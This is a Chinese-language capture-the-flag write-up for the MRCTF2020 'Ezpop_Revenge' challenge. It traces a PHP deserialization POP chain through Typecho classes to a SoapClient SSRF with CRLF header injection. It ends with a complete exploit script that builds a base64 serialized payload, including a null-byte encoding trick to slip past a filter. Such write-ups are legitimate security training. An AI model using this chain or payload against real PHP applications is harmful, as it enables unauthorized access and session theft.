[MRCTF2020]Ezpop_Revenge

解题步骤

www.zip 源码泄露。

<?php
if(!isset($_SESSION)) session_start();
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
   $_SESSION['flag']= "MRCTF{******}";
}else echo "我扌your problem?\nonly localhost can get flag!";
?>

十有八九是ssrf。
全局搜索unserialize：
在./usr/plugins/HelloWorld/Plugin.php中：

public function action(){
        if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
            if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
                unserialize(base64_decode($_POST['C0incid3nc3']));
            else {
                echo "Not that easy.";
            }
        }
    }

关键代码

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}

找到 Typecho_Db类。在./var/Typecho/Db.php

public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }

反序列化wakeup触发Typecho_Db，传入coincidence['hello']，在Typecho_Db中，会触发coincidence['hello']的toString，全局搜索toString。在./var/Typecho/Db/Query.php中

public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }

如果action为select，就会触发parseSelect($this->_sqlPreBuild)函数。
让_adapter为soapCilent类，就能触发__call函数，然后利用soapClient进行ssrf

本题目有个坑的地方，直接生成的payload不会触发成功，要将字符串改写成十六进制，也就是将表示字符串的s写成大写S，这样private属性后面的%00这个不可见字符就能写成\00（如果是小写s 这个\00表示一个斜线和两个0 是三个字符）
因为想要带SESSION出来，必须要把自己的PHPSESSID传过去，然而SOAP并不能设置Cookie，因此需要CRLF。SoapClient可以设置UA，只要在UA后加上\r\nCookie: PHPSESSID=xxx就能为http头添加一个新的Cookie字段，这样就能带上session了
https://blog.csdn.net/qq_45691294/article/details/109129120

贴一个颖奇的exp:

<?php
//www.gem-love.com
class Typecho_Db_Query
{
    private $_adapter;
    private $_sqlPreBuild;

    public function __construct()
    {
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
            'X-Forwarded-For:127.0.0.1',
            "Cookie: PHPSESSID=s8fo8ma30gbttqvgdbb48k6rm4"
        );
        $this->_adapter = new SoapClient(null, array('uri' => 'aaab', 'location' => $target, 'user_agent' => 'Y1ng^^' . join('^^', $headers)));
        $this->_sqlPreBuild = ['action' => "SELECT"];
    }
}

class HelloWorld_DB
{
    private $coincidence;
    public function __construct()
    {
        $this->coincidence = array("hello" => new Typecho_Db_Query());
    }
}

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i - 2] = preg_replace('/s/', "S", $arr[$i - 2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    echo "www.gem-love.com\n";
    return $newstr;
}

$y1ng = serialize(new HelloWorld_DB());
$y1ng = preg_replace(" /\^\^/", "\r\n", $y1ng);
$urlen = urlencode($y1ng);
$urlen = preg_replace('/%00/', '%5c%30%30', $urlen);
$y1ng = decorate(urldecode($urlen));
echo base64_encode($y1ng);

搜索HelloWorld能找到这个网页的页面路由/page_admin